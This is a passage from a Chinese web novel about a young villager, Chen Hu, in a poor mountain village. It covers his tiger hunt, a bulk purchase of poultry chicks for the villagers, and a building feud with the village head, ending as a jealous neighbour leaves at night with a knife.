山中一阵寒风吹过,让正在用铁锅打雪的马老三,不由得打了个寒颤,骂骂咧咧的出声: “要命的鬼天气,咋个不一场大雪冻死我算求!” 洞外用于预防野兽袭击的捕兽夹,并未被触发。 山洞里,马老三正用铁锅煮着一锅雪,雪水融化后当饮用水,或者用来洗脸什么的都是靠这样来获取水的。 等到吃过早饭,陈虎和马老三收拾好后,再一次出发。 与昨儿漫无目的找寻猎物的踪迹不同,昨晚上,陈虎可算是没睡到一个好觉。 一想到暗中有一头山君正虎视眈眈的盯着自己,陈虎便觉着有些心里膈应。 马老三则直接心里发虚,从昨晚守夜开始,一点儿风吹草动便能让他疑神疑鬼。 陈虎索性懒得多想,今儿出门便是奔着那头老虎留下的痕迹,直接追踪而去! 比起一些个渔获,又或是捕猎一些个草食小型动物,猎获一头山君,显然是一个风险与回报并存的选择! 陈虎在出发前也不忘了给马老三做好心理建设,避免这夯货碰见老虎腿软走不动道。 只见,陈虎一手重重地拍在马老三的肩头,语重心长的开口道: “马老三,既然是猎那头山君,我也不敢给你打包票说今儿咱俩都会平安无事,我连自己的安全都保证不了。” “眼下,你可以自己选择。” “要么你留在山洞里面等我,我要是回不来,你便可以自己下山。” “要么你跟我走,这事儿成了,我保证你家孩子明年能坐在学堂里面念书,你家老房子也能够直接翻新,不再为了米面柴油受困!” 也许是出于对陈虎的信任,也许是觉着自己一个人也找不到路下山,马老三几乎没有任何犹豫,直接一口应下道:“虎哥,我跟你走!我若有个好歹,还望你照拂下我家里的妻儿!” 陈虎闻言,也是重重的叹了口气,接着神情坚定道:“你放心!只要我还有一口气,你就不会有事儿的!” 得到了陈虎的这句保证,马老三也在心头一阵感激涕零,却并未说出声。 有些话说了,也就足够了。 有的事儿不需要说,做就对了! 后面的路上,二人都没再吭声。 马老三手持弓弩,在后边负责禁戒,陈虎则在前开道,沿着能找到的蛛丝马迹,追踪那头山君的去处! 依照陈虎所言:那头山君山大王当惯了,分不清猎物和猎人,今儿就让他知道什么叫“众生平等”! 冰雪覆盖的山林寂静无声,偶有山风吹过,二人打上一个冷战的同时,也能够听到树上冰晶破碎坠下的动静。 二人的脚步,从一座山头,辗转到了另一处山头。 陈虎沿着一些模糊的足迹,以及在一处灌木中嗅到的腥臊味儿,当即就寻到了一处岩洞。 这处岩洞坐落在深山之中,周围满是茂密的松林,在洞外,陈虎终于能够看到了清晰的虎掌印子! 陈虎抬头看向那黑黝黝的洞口,深吸了一口气道:“就在这里,此处便是虎穴!” 马老三闻言,顿觉浑身鸡皮疙瘩骤起。 陈虎当即挥手,示意马老三噤声,而后带着马老三,悄然退去。 待到二人退到百米外的一处斜坡上时,陈虎这才松了口气,眉头紧紧皱起道: “也不知这畜生在不在洞里,我们直接去洞里探的话,万一碰上这畜生,那无异于是去送命。” 这时候,马老三狠狠的咽了口唾沫,眼前一亮道: “虎哥,要不咱们弄些个动静试试?” 陈虎闻言,眉头一挑,顿觉可行,点头道: “那这样,你寻一棵树爬上去,不要太远,但树一定得高,虽说这畜生会爬树,但只要你不出声,暂且也不可能察觉到你在树上,我去弄点儿动静,守在洞口。” “只要它在洞里面敢露头,十米内让我开上一枪,那必然让他知道什么叫做‘众生平等’!” 马老三闻言,却顿觉一阵心悸,连连摇头道:“虎哥,那要是它一枪没死,你可咋办?” 陈虎嘴角一歪,笑道:“在你爬的树下,把捕兽夹排满,我到时候往你的这个方向跑,你拿弩箭射它,弄点儿动静。” “它要是想上树,也得看看它腿上咬着两个夹子,还能不能够爬得动!” 交代完一切之后,马老三当即便开始布置,陈虎则拎着土枪,来到虎穴外的一棵大树后面。 在等马老三布置的时候,陈虎也没有闲着,取出一颗子弹倒出些许火药,接着如法炮制,又多取出几颗子弹拆开。 最后,陈虎再将火药堆放在一起,接着又在火药中,放置了一颗未拆卸的子弹。 旋即,陈虎将一根比食指略长的树枝一端,放到火药之中,并将另一端点燃。 点燃的树枝在短暂燃烧之后,会点燃火药。 而火药爆燃所产生的热量,会直接引爆那颗子弹! 趁着这个间隙,陈虎急忙朝着十米开外的一棵松树跑去。 待到陈虎调整好身形,隐蔽位置之后,他当即将土枪架好,瞄准向了虎穴的位置! 这时候,陈虎布置的子弹也照常爆炸,随着一声巨响传开,在山林之中回荡。 伴随着爆炸声传来,陈虎屏住呼吸,死死地盯着虎穴的位置。 下一瞬,虎穴之中,便传来一声呼啸怒吼! 如此炸裂的响声,直接压过了子弹爆炸的动静! 虎啸山林之说,当真写实! 下一瞬,在陈虎的视线之中,那头山君果真露面。 两米有余的身长,接近一米六的肩高,再加上它怒吼时所亮出的森寒獠牙,换做任何一个普通人面对这位山林之中食物链顶尖的存在,都只有两腿打颤的份儿。 任凭是谁,都压根难以提起猎杀那头山君的心思。 但陈虎仍旧处变不惊,枪口紧紧瞄准着那道威武的身影。 弹匣仅有五发子弹容量,打完这五枪,他绝对不可能有机会装填弹药的。 这也是为什么陈虎会浪费诸多的子弹点燃引爆,而不是直接开枪弄出动静的缘由。 第一卷 第71章 好你个陈虎! 陈虎说话时,语气平静,没有给人丝毫夸大其词的感觉。 孙若薇看着神色认真的陈虎,莫名其妙的就点了点头,仿佛眼前这个稚气未脱的少年,有种莫名让人信任的能耐道: “你说的?” “放心便是!咱们先去屋里稍坐一会儿,喝口热茶驱驱寒。” 孙若薇深深的望了陈虎一眼,没再多言,当即便跟随陈虎,来到他的家中。 到家之后,陈虎率先煮上一壶热茶,紧跟着让杨蓉帮他走一趟,去叫上隔壁张大娘,告知全村的村民,晚些时候,都来一趟家里。 紧跟着,陈虎又到隔壁叫老张头帮忙去一趟老宅,把马老三等四个干活儿的人,全部都先叫回来。 交代完这些,陈虎这才回来给孙若薇倒上一碗热茶。 热茶浑浊,倒入棕黄色陶瓷碗中,浑然一色,卖相十分一般,倒是那一抹清新的茶水味,让人心旷神怡。 陈虎倒上两碗茶水,自个儿端起一碗抿了一口,这才微笑出声道: “茶叶是自家在山上采的野山茶,粗茶粗制,简单水煮没有孙姑娘平日里喝得那般精细。但也别有一番风味,孙姑娘莫要见怪!” 孙若薇端起瓷碗,丝毫没有做作,大大方方的喝了一口,也不评价,反倒眉头一挑,淡然出声道: “莫要张口孙姑娘,闭口孙姑娘,你和我爷爷如今也算是旧识了,叫声若薇便是。” 说罢,孙若薇将茶碗放下,好奇地打量着屋内的一切。 陈虎的家中,倒不说家徒四壁,但这处屋子多处简陋,还是前些日子陈虎修修补补一阵,才有现在的样子的。 各处家具老旧,屋里也没啥新鲜事物,倒是炕头两个正学着写字的小家伙,让得孙若薇颇为讶异。 “这是……你的孩子?” 孙若薇有些茫然地看着陈真和陈瑶这两个小家伙道。 陈虎一时之间,哑然失笑,心中一阵诽谤:好端端的一姑娘,可惜是个瞎子! 接着,陈虎无奈朝着两个小家伙,唤了一声道:“陈瑶、陈真,去装一碗瓜子蜜饯来。” 像是瓜子、蜜饯这些个零嘴吃食,都是陈虎最近采买回来的物件。 两个小家伙见家里来了客人,也是十分积极,当即便盛了一碗瓜子蜜饯,端了过来。 陈虎伸出手,宠溺得摸了摸两个小家伙头,这才解释道: “我弟弟和妹妹,陈瑶与陈真。” 孙若薇闻言,尴尬的笑笑,赶忙扯开话题道: “你在家中还教导弟弟妹妹读书写字?” 陈虎闻言,微微点头解释道:“他们明年去镇上念书,让他们提前读读蒙学书本,学认几个字而已。” “能让女孩去念书,你家中倒是罕见的开明。”孙若薇微微叹气道。 即便是自幼入学堂,后更是留学大洋彼岸的孙若薇,也不得不承认女孩子在如今的世道想要念书,那可谓是千难万难的。 不提教育普及程度,以及有几家承担得起一个孩子的学费、学杂费,单单是传统观念方面,就鲜有家庭会送女孩子去学堂念书。 小囡囡看着二人交谈,若有所思的开口道: “哥哥说,要念书才能够走出大山,看到外面的世界,哥哥还说囡囡好好念书,会给囡囡买好多好吃的。” 看着小家伙眨巴眨巴眼,奶声奶气对自己开口,孙若薇也忍不住心头一阵喜爱,伸手摸了摸小家伙头,笑道: “小妹妹,你有一个好哥哥!” 小囡囡闻言,双眼一亮,一把扯住孙若薇的手,乐呵出声: “漂亮姐姐,你是哥哥喜欢的嫂嫂吗?” 这话让陈虎与孙若薇都一阵发懵,可一旁,陈真这时也跟着凑热闹出声道: “漂亮嫂嫂,你就是哥哥说的那个孙家孙若薇吗?” 陈虎闻声,更是一阵汗颜,一时之间,有种无地自容感。 “嫂嫂?!孙若薇?” 孙若薇黑着一张脸,带着莫名笑意的望向陈虎,冷冷出声道。 陈虎干笑一声,催着两个小家伙,去一旁接着写字,而后急忙解释道: “若薇,这事儿有些复杂,你听我解释一二。” 孙若薇当即冷哼一声,上下打量陈虎一阵,接着出声道: “好你个陈虎!前后你我仅见过两次面,你便认定我成了你陈家媳妇儿了?心思倒是不少,是不是还打算和我爷爷说道说道?” 陈虎咽了口唾沫,赶忙解释道: “孙姑娘,这事儿的原委是这样的……” 陈虎将家中催婚之事儿解释一番,孙若薇听完,更是一阵冷笑: “好你个陈虎!话是这般说,但你要不动这心思,岂会第一时间想到拿我挡在前面?” 陈虎闻言,连忙咳嗽两声,接着岔开话题道: “若薇姑奶奶,这事儿揭过,咱们要不先说说看,答应帮我办的事儿?” 孙若薇没好气的看了陈虎一眼,这才不情不愿的开口道: “售卖家禽幼崽的人,我给你寻到了,依照你先前说的价格没问题。你这边明日去镇上见人,打款给钱后,货物会送到镇上,还需要你自己去取。” 陈虎微微点头,接着问道:“我这边大致需要的是五百只鸡苗,和二百只鸭鹅苗,价格上有优惠吗?” “这已经是最为优惠的价格了,详细的你可以自己去问。”孙若薇淡然出声。 经商这事儿,她可从无经验,但对方看在自家爷爷的份上,必然不敢给黑价。 这一点,孙若薇还是有信心的。 这时,杨蓉也依照陈虎的吩咐,叫上了一众村民们,来到院里面聚集着。 陈虎交代了杨蓉先弄晚饭,而后告知孙若薇在屋里稍坐,接着独自来到院里。 这时候,已然临近傍晚。 冰天雪地的一众人站在院里,都忍不住来回踱步,摩擦着手掌,好奇候着。 见陈虎露面,议论纷纷的人随即都投来询问目光。 陈虎赶忙招呼几人从院子里面,拿柴火搭起点燃。 很快,院子里面便多出了几堆篝火,村民们围在篝火前,暖着身子。 这时候,有人询问出声道: “虎子,你家柴火等会儿全给烧光了,你看看打算交代啥先说嘛,这事儿闹的,把你家干柴烧干净取暖也不合适!” “就是!虎子,有啥事儿你先说,这冰天雪地的,大家站着也不舒服。” “没别的意思哈!陈虎,大家都到得差不多了,晚饭还没吃,家里还有孩子在等着俺吃饭嘞!” …… 第一卷 第72章 你竟然会开车? 见村民们催促声四起,陈虎不紧不慢的站了出来,笑道: “大家别急!其实也没啥大事儿,就是有人售卖鸡、鸭、鹅苗,价格大家凑一起买,能便宜许多……” “我想着乡里乡亲的,大家怕是都缺些家禽,所以叫上大家过来问问,并且这次我打算大量养殖一些。” “鸡苗的价格一只大概六毛左右……县里头我找人联系过了,有人收购这些个鸡鸭鹅,七毛一斤,往后大家养了想找地儿出售也有路子,我这边给捎上就成。” “现在就是叫大家过来做个统计,这样的话,明儿我去镇上付了钱,才好赶趟。” 众人闻言都颇为惊喜,一个个你看看我,我望望你,交头接耳、窃窃私语不停。 陈虎则搬来一套桌椅,又从屋里,取来纸笔,当即招呼道: “价格大家都清楚了啊!各位想买的可以排队过来登记付钱,明儿我就去镇上付钱取货,过时不候。” 对于一众村民们而言,这些个家禽自然是必要的,也就是今年的年景不好,好多人户都把家里下蛋老母鸡给卖了。 现在鸡苗的价格比以往便宜这般多,再加上陈虎承诺养大了有的是人收,一个个都不再多虑,纷纷凑了上来,踊跃交钱。 “虎子!我家要十只鸡苗!” “陈虎,给我家带五只鸡苗!” “虎哥,我家要五只鸡苗,五只鸭苗!” …… 随着众人纷纷付了钱,心满意足的离去。 站在门口,眼瞅着陈虎忙活完的孙若薇,心中满是疑惑的上前,随后不解出声道: “我以为你要这些家禽幼崽,是打算开一家养殖场,然后创造就业岗位,以解决你先前夸下的海口,怎么成了帮村民们代购了?” 陈虎收起册子,闻声微微摇头道: “你说对了一半,的确要依靠养殖,让大家脱贫有一条活路。但养殖场办出来所需要的成本,我负担不起,” “做小了的话,规模不够,做大了的话,除了负担不起成本,实际上也很难创造几个就业岗位。” “实际上,这算是一次实验,正如先前收干货时一个概念。” 陈虎的话,让孙若薇顿时兴趣盎然,笑问道: “实验?你指的是……” 陈虎点了点头,叹了口气,解释道: “正如先前所说,养殖场的成本太高,除此之外,还需要各种成本,并且哪怕创造的几个就业岗位,也只是杯水车薪。” “而将成本转嫁到家家户户,我再把这些鸡鸭鹅养大后的销路找到,敲定了销路合作,最后再把供销社的路子照搬,像之前收干货一般。” “如此的话,可以让村民们多一份收入同时,也能够让供销社扩大规模,如此才是最优解。” 孙若薇闻言,连连点头: “想法超前,可行性很大!但是仅仅是这样的话,那也只不过是让家家户户多了一点不多不少的收入,相较于你朝我爷爷承诺的,可是差了不少。” 陈虎倒也直率,点头承认道: “不错!的确相较于先前放出去的话差了不少,所以我还有一个安排。” 孙若薇听到陈虎这话,不由得好奇问道: “还有安排?” 陈虎点了点头:“帮村民带是一部分,我这边也会进货不少家禽苗,创办一个小型养殖场。养殖的数量不算多,但收益方面,我会全部用来给村里铺设道路。” “收益全部给村子铺设道路?” 陈虎这话,可着实让孙若薇惊讶不已。 陈虎点了点头:“不错!也许眼下看来,上河村贫困没有出路,家家户户望天吃饭,但只要我能铺设一条主路,把交通问题解决的话,那一切便可以迎刃而解!” “后续的话,我可以带着村民在沿村的河流,挖蓄水池养殖鱼,村里的耕地也可以圈出一部分养殖家禽,然后拿出贩卖。” “交通便利,就代表着各种货物的运输成本降低,只要村民们有正确的引导,那他们何止一条活路?我相信在不久的将来,全村都有机会脱贫致富!” 孙若薇被陈虎的这番见解惊到,打通交通运输是发展经济关键,这不算什么新鲜话题。 但陈虎竟是有魄力,自己置办产业,回过头用收益为村里铺设道路的打算,却是让人不得不惊讶于他的魄力与见识! “饭菜都好了,小虎快带上客人进屋吃饭。” 杨蓉的呼喊声,不合时宜的响起。 陈虎摆了摆手,笑道:“请吧!为了感谢客人今儿特意走一趟,我想我妈今天做的饭菜,应该会格外丰盛。” 孙若薇闻言,白了陈虎一眼,旋即与之一齐进了屋。 回到屋内,陈虎见马老三一行人还未回来,杨蓉也没准备他们的碗筷,不解道: “妈,不是说让马老三他们收工,先回来吃饭吗?” 杨蓉给他们盛饭,孙若薇不太适应的道了声谢,接过碗筷。 杨蓉闻言,则有些无奈道: “那几个混小子听说有姑娘来找你,死活不愿意过来吃饭,说什么咱们家里待客,就不过来打扰了,马老三都把人招呼过去了。” 陈虎听到这话,无奈的耸了耸肩,接着开口道: “那等会儿吃完饭,还得麻烦张大爷家小子跑一趟,让他们过来。” 杨蓉没吱声,一边热情的给孙若薇夹菜,一边询问道: “姑娘,还没问你叫啥嘞?” 孙若薇被杨蓉的热情,弄的有些不知所措。 想到方才陈虎解释自己已然是陈虎娘亲眼中的儿媳妇,更是满心无奈,但还是硬着头皮,回答道: “伯母,我家住在镇上东边,我叫孙若薇。” 杨蓉一听孙若薇自报家门,顿时更显热情: “好孩子!怎的这般消瘦,来多吃些!” 说话间,杨蓉又是夹菜不断。 陈虎在一旁干看着,也不知该说些什么。 晚饭后,陈虎急匆匆的跟杨蓉打了声招呼,接着拿上孙若薇的车钥匙,赶忙去寻孙若薇车去了。 孙若薇被陈虎撇下之后,反倒没了先前的拘谨,与杨蓉唠了一会,显得十分从容。 不多时,陈虎独自开着孙若薇的那辆轿车,来到村里,引得村民们一阵围观。 将孙若薇载上车后,陈虎给家里打了声招呼,便开车送孙若薇往镇上赶去。 车上,孙若薇一脸诧异的看着主驾驶上,车技娴熟的陈虎,心中更为疑惑。 她先前见陈虎要车钥匙时,还满眼不可置信,眼下则全然只剩下震惊了。 “你竟然会开车?” 陈虎轻笑一声,并没有接话。 遥想前世,他何止会开车? 天上飞的、地上跑的、水里游的……他可是都能驾驶娴熟的! 第一卷 第73章 迷信暴力会是个怎么样的下场! 次日,陈虎便领着一票村民们,到了镇上,将鸡苗这事儿完全落实。 平日里,价格一般在八毛、九毛的鸡苗,这次在陈虎又一次的压价商议之下,再加上有孙家的面子,最后对方给出了五毛的批发价格,这让得一众村民们都欣喜不已。 晚间,众人将鸡崽都运回了村里,但陈虎一时之间,却是不由得犯了难了。 杨蓉一开门,见着满院子的小鸡幼崽,也是心头一惊。 眨了眨眼后,杨蓉一脸不可置信的说道:“小虎,这么多鸡崽子得多少钱啊?咱们家里现在也没有那么多的饲料、粮食养活它们啊?” 陈瑶和陈真这两个小家伙则兴致盎然,各自抱起一只小鸡崽,便乐呵着逗弄起来。 陈虎闻言扶额,有些无奈的出声道:“本来还寻思着这群鸡崽子晚几天才到,眼下没做准备,妈把我那屋先收拾出来!我被褥啥的就放到陈瑶和陈真的屋里面,晚上我先打个地铺吧!” 杨蓉顿时明白了陈虎所想,皱着眉头道:“是啊,这么冷的天,眼下最重要的还是鸡圈,否则的话,粮食都不用忧心,这些鸡崽子就先冻死了!” 鸡鸭鹅都差不多大小,刚孵化一个来月左右。 一个成熟的养殖场,自然能够处理好暖气供应,保证这些个羽毛还没长齐的小崽子,能有个温暖的住所。 但眼下,陈虎显然没有这个条件。 杨蓉简单思考后,出声道:“这样吧!今晚囡囡陪我睡,你和陈真挤一挤。” 说话间,杨蓉忍不住叹了口气。 陈虎见状,急忙安慰出声道:“妈,别急!老屋顶多再有个三、五天就能够搬进去了,到时候,这边屋子把除了承重墙之外的墙全给打通,里面再每晚烧两个火灶,改成鸡圈,也挺合适的。” 杨蓉闻言,则更是忧心道: “这要是你二叔一家子回来了,咱们这边屋子没了,那边也住不了咋整?” 陈虎愣了愣,回想起那位被自己送到黑窑的二叔,以及又嫁给了南方深山老光棍的二婶,以及他家被送到不知去向的傻儿子,满不在乎的笑道: “妈,不会发生这种事情的!二叔的消息,我打听到了,他没在县城,据说买了票,去南方找活路了,一家子都估摸着回不来了。” 陈虎自然不会告知杨蓉实情,所以,杨蓉心中的那抹忧虑,即便是陈虎信誓旦旦保证,但也暂时无法抹去。 对此,陈虎只能够让时间来解决。 很快,陈虎一家子就全部都动了起来,陈虎收拾着屋里面杂七杂八的物件,杨蓉则忙活着给陈虎和陈真两人,重新铺床。 之前,陈真和陈瑶两人各自睡一张小床,陈瑶今晚和杨蓉睡后,杨蓉索性将两张床拼在一起,给兄弟二人睡。 而那两个小家伙也忙着把小鸡仔,送到陈虎的屋里面,忙得不亦乐乎。 等到一切忙完后,屋子里面叽叽喳喳声不绝于耳后,杨蓉再度眉目紧蹙,说出了自己的忧心: “小虎,眼下家里米面加起来还有百十斤,你买了这么些鸡崽子,怕是掺着点干草吃,也吃不了几天。而且,这些个细粮也不该是给喂鸡来的。” 陈虎闻声,当即从兜里面掏出了一沓票子,点了一遍后,交到了杨蓉的手里: “妈,这里有三十块。你看下谁家有那些个陈谷、糠麸什么的,买上一些够这些鸡崽子吃上多久?” 杨蓉接过票子,简单的在心里面算了算,这才点了点头道:“约莫着够吃个把月的。” “那就还不着急!这几日我先忙活着把那边的屋子翻新,等咱们一家子搬进去了,我再去考虑饲料咋弄。” 陈虎给了杨蓉一个放心的眼神,宽慰出声道。 之后的几日内,陈虎的房间便彻底成了鸡圈。 这边的屋子,也时刻弥漫着鸡粪的味道,再加上日日夜夜那群鸡崽子叫个不停,叽叽喳喳的宛如一场特殊刑罚,让全家人饱受折磨。 于是乎,陈虎又多寻了几个帮工,翻新老屋的工作进度,开始不断加快。 在陈虎这阵子的努力之下,老屋原本土石结构的墙体外部砌上了红砖,里面也贴上了墙砖。 凹凸不平的泥地。成了水泥地。 长满了青苔,还充满霉味儿的草棚屋顶,也换成了崭新的瓦片。 院子里面,也铺上了水泥。 那颗硕大的杏树,保留在院子中央,院子东边角上多出了一个池塘,崭新的篱笆更是让这处宅子看上去焕然一新! 在接连加派人手赶工的情况下,老屋终于焕然一新! 完工这日,陈虎望着自己的成果,不由得长出了一口气,忍不住感叹道: “换做两月前,陈二狗一家子还住在这儿时,我每次走进这扇门都会嗅到一股臭味。” 一旁的马老三,望着崭新的宅院,有些不解道:“臭味?什么臭味?” 陈虎不经意的轻笑一声,缓缓出声道: “一股……复杂的臭味,里面有赌徒的贪婪,有小人的私心,有封建迷信的愚昧,还有野兽般毫无人伦的欲望。” 说话间,陈虎缓缓的将目光,投向了村子东边的方向,接着冷冷说道: “老三,最近村长一家子没动静吗?” 马老三闻言,忍不住打了一个冷战,接着深吸了一口气,说道: “自打上次雪灾之后,这一家子都一直不怎么出门,平日里不怎么见人,除了听说村长家那独苗陈西海……” 马老三话说到一半,便没了后文,阴着脸,不再吭声。 陈西海进过马寡妇门这事儿,马老三如今可是耿耿于怀的。 特别是马寡妇这几日,不时就找马老三吹枕边风,说陈西海近来不时便会来敲门。 陈虎并未注意到马老三脸上的异样情绪,自顾自的缓缓出声道: “他们走不通上面的关系,往下走的话,他们找到的王二又没了消息,估摸着近来晚上睡得都不算安稳吧!” 说话间,陈虎冷笑一声: “时候差不多了,等过了这一阵,这上河村也就容不下这一家子了!” 马老三闻言,心头顿时一惊,思索片刻后,还是忍不住问道: “虎哥打算怎么做?这事儿有我马老三一份,虎哥随便差遣,我保证做得干干净净的!” 陈虎听到马老三这话,不由得疑惑看向了他。 这还是陈虎第一次见到马老三眼中生出的那抹戾气,愣了愣后,陈虎这才摇头道: “别急!凡事不要崇尚暴力,听说过陈友谅吗?他用一生的教训,告诉世人:迷信暴力会是个怎么样的下场!” 第一卷 第74章 我自有考究,你别管了! 马老三闻言,似懂非懂的点点头:“那虎哥,我们接下来该怎么做?” 陈虎微微眯眼,看着眼前翻新的屋子,嘴角却是升起了一个幅度: “慢慢来!眼下,我们什么都用不着做,让他们再过几个安生日子吧!” 对于陈桥而言,近来可没有一个晚上,他能得个安生的! 自打那次雪灾过后,他眼看着陈虎一个不到二十岁的后生,不仅占尽了所有风头,成了村里人的救星、救世主,更是受到了镇上视察灾情领导的重视。 最开始的陈桥,仅仅是心中不忿,被一个二十岁不到的后生压一头而已。 但随后,他开始忧心,陈虎得到镇上的领导重视,再加上明年就要从新选举,陈虎在村民中的威望这般高,提名是必然的。 而但凡是陈虎提名,他陈桥就不可能有半分机会。 如今,年景不好,各方面补贴也不多,再加上工资也时常迟发。 的确,他这个村长表面上看着过得不算如意,可实际上,许多上面下发的补贴都能给他带来不少的油水! 这也是为什么在全村都吃不上饭的年景,他家里却能把自家儿子养得白白胖胖的。 并且,全村统共就三户人家有牛,村长家便占其一。 一切都归功于他坐在这个位置上后,在这些年的经营。 如今,这点经营眼看就不保了,陈桥自然忍不了! 在陈西海的提议之下,陈桥之后索性便走了一趟王二家,眼看王二家出了个大学生,家里锅都揭不开,更别提学费,陈桥便在一阵旁敲侧击。 到了后面,陈西海更是上门明示。 但王二的事儿敲定之后,次日却传回了五人上山,仅有他陈虎与马老三回来的消息! 当晚,陈桥便一整夜没睡着。 次日一早,陈桥便摸着去了后山。 一番找寻之下,陈桥虽然没有找到王二、王胜和朱明三人尸体,但是这却让他更加毛骨悚然! 很显然,王二不会蠢笨到把这件事情放进深山处理,这般天气也很难诱骗人去深山。 可若是在后山,他王二一个进山打猎刨食这么些年的猎户,岂能会迷路在后山? 至于狼群袭击,陈桥便更不会信,要知道这群狼便是他陈桥引诱过来的。 如今,王二他们生不见人,死不见尸……很显然,尸体就是被活下来的人给处理了的! 自那之后,陈桥便开始夜夜难眠! 要知道,如果先前他与陈虎的争斗,还仅仅是他的营生的话,那若是王二死前说了些什么实情的话,只怕后面他与陈虎之间的仇怨,就上升到死仇的地步了! 这厮先是猎熊瞎子,又是独自猎了一窝野猪,如今更是武松转世,带人猎了头山君! 这要是陈虎发狠,半夜持刀过来,转个头的功夫,他一家子就都得一齐下黄泉路。 所以,近来陈桥每每熄灯后,非但睡不着,甚至于还需要在枕头下面,放上一把短刀,他才能心安。 这一晚,陈桥仍旧是难以入眠。 躺在床上的他,听着妻子入睡后传来匀称的呼吸声,心里头尽管一遍又一遍安慰着他自己,王二当初没把他的事情抖落出来,否则的话,陈虎那尊凶神早就找他寻仇来了。 但安慰他自己次数越多,陈桥就越是控制不住他的身子微微颤抖。 五个人上山,仅仅下来了两人。 朱明、王二、王胜,他们三人的下场,不言而喻。 每每入睡,陈桥便会梦到这三人最后是如何的下场,梦到那片白雪茫茫、满山大雾之中,一滩鲜血淋漓的鲜红色刺破白皑皑的世界,紧跟着,王二和王胜父子俩满脸鲜血的盯着他,嘴唇不断蠕动,而他自己却是什么也听不清。 陈桥也想过去报警,只要找到尸体,尸体上致命伤的验证,将轻松的把陈虎送进监狱。 可惜,这不现实。 镇上派出所一共就不足十人,没有专业仪器,更没有足够人手在这般恶劣的天气中,进山寻觅尸体。 陈桥的这些想法,也仅能是想法而已。 马老三今夜回家后,与妻子大吵了一架。 前几日,还会过来凑热闹劝架的邻居,这两日都选择了关好门窗,两耳不闻窗外事。 又一次大吵过后,马老三眼见着自家媳妇儿砸碎了锅碗,恶狠狠骂了一嘴后,转身便走出了房门。 身前是皑皑雪夜,寂静无声,身后是自己媳妇儿抱着儿子,大骂马老三不是人。 马老三没再吭声,走出房门,快步到了王二家屋子后门处,熟稔的拉起了木制把手,用力一推,将木门推开,然后轻车熟路的关上门,便走进了里屋。 里屋中,床榻上,马红艳背对着房门安静躺着,不时还传来一阵啜泣声。 马老三快步上前,侧身躺下后,从背后一把抱住了马红艳,听着怀中女人的啜泣声,长出一口气,问道: “怎么了?” 马红艳转过身,将头埋进马老三的胸膛,红着眼,没好气道: “今儿白日里,那陈西海又上门来了!他……他动手动脚,我不让,他便叫骂个不停,说我……呜呜呜……” 马老三闻言,本就愤懑的情绪,更是难以压抑,猛地起身,便要往外走去。 马寡妇见状,眼底闪过一抹狡黠,却眼疾手快的一把拉住了马老三,眼带泪光,委屈出声道: “老三,他爹是村长,不消与他们计较,我……我这一个寡妇,怎能让你为我出头?” 马老三抬手,轻拍马红艳的后背,安抚道: “没事的!我自有考究,你别管了!” 说完,马老三便头也不回的朝着门外走去。 这一晚,寒风凌冽,风声呼啸到半夜,也没停下。 可即便是盯着冷冽的寒风,手脚都忍不住一阵阵冰凉,马老三心中的怒意,却仍旧难以平息。 他走出马红艳的家中之后,径直先回了自家,眼见着自家媳妇儿没留门,锁了门拴,索性从后门的窗户,翻了进去。 进屋的动静,吵醒了他媳妇儿,眼见着是马老三回来,这婆娘更是气不打一处来,骂骂咧咧的出声。 马老三对此则充耳不闻,从灶房拿了那一罐子烧酒,又提着自家菜刀,紧跟着又出了门。 马老三这举动,可算是吓了她媳妇杨春一大跳。 杨春嫁给马老三这些年,可就没见过马老三做过半点儿出格的事儿,说过半句硬气话。 可偏就是这几日内,马老三不仅动不动的就寻个借口,夜不归宿,更是被人瞧见从马红艳那个寡妇的家里面走出来! 今晚,在她大闹一番后,这马老三眼下又是烧酒,又是菜刀拎着的,就出了门,这直接就把杨春吓了一大跳! 第一卷 第75章 灭门 一时之间,杨春六神无主的追了出门,可就这前后脚的功夫,马老三却彻底没了影。 生怕马老三喝醉了做点儿什么出格的事情,杨春穿好衣裳之后,便也一股脑的出了门。 但到了马红艳家后,却见马红艳家已经熄了灯。 杨春拿不定主意,想来想去,最后想到了陈虎,赶忙便直奔陈虎家而去。 刚睡下不久的陈虎,被敲门声吵醒,开门后,更是一脸诧异。 望着屋外冻得瑟瑟发抖的杨春,陈虎一脸不解的出声问道: “怎么了这是?你大半夜的过来敲门,难道是老三出事儿了?” 杨春哆哆嗦嗦的看着陈虎,带着哭腔,回应道: “我不知道啊虎哥,马老三今晚和我吵了一架,转头就拿了烧酒和刀子出门了,我……我怕他做啥傻事儿……呜呜呜……” 见杨春不争气的哭了起来,陈虎也顿感无奈,连忙安慰着让杨春先回家,安心看着孩子休息,把这事情放心交给他就行。 杨春闻言,一时之间,也有了主心骨,慌慌忙忙的又回了家。 眼见着杨春走了,陈虎也不免犯了难,无奈穿上衣裳,出门瞅瞅。 陈虎前脚刚打算出门,被吵醒的杨蓉便站到了陈虎的身后。 眼见着陈虎穿好了衣裳往外走,杨蓉急忙询问道: “小虎,谁啊?大半夜闹啥呢这是?” 陈虎只得挤出个笑脸,安抚出声道: “没关系的妈,马老三喝多了,我去瞅瞅。没啥大事儿,你先休息给我留个门就成!” 今夜的风呼啸着,裹挟风雪,以一副要冻死个人的趋势,闹腾个不停。 陈虎即便裹上了袄子与毡帽,但一出门,还是冻得直哆嗦个不停。 思索一阵后,陈虎便朝着马老三家里走去。 不多时,他便敲响了马老三家的房门,杨春急匆匆将门打开,眼见着门外站着的是陈虎,急忙将人迎了进来。 进门后,陈虎来不及喘口气,便先皱眉问道:“老三还没有回来吗?” 杨春连连摇头道:“没!他拎着刀出去后,到现在都还没影子,不知道他往哪儿去了!” 陈虎见杨春这模样,料定其中肯定还有别的事儿,当即摆了摆手道: “你不把事儿说明白,我便回去休息了。” 杨春看着陈虎,犹豫了半晌,最终还是将马老三和王二家那寡妇马红艳的事儿,全部都抖落出来。 陈虎听得一阵皱眉,心中也暗暗惊讶。 要知道马老三这货老实了一辈子,作为一个看天吃饭、地里刨食的庄稼汉,换做旁人说他能和马寡妇有一腿,陈虎听都懒得多听半句。 更遑论她马红艳家男人和儿子的死,与马老三也脱不了干系? 想到这个节点,陈虎顿时一阵明悟! 对了! 马红艳怎么可能不知道那日王二与王胜父子俩上山,是为了什么? 可马红艳还能够和马老三勾搭在一起,便很容易印证到底出了什么问题。 可是,即便是马红艳脱了衣服,吹枕边风,马老三也不至于拎着刀出门才对,更不可能是奔着自己去的才是。 不是奔着自己,那马红艳图啥? 简单思索之后,陈虎的心中,便有了答案,当即沉声望向杨春道: “关好门,带着孩子休息,旁的事儿别管了,交给我就成!” 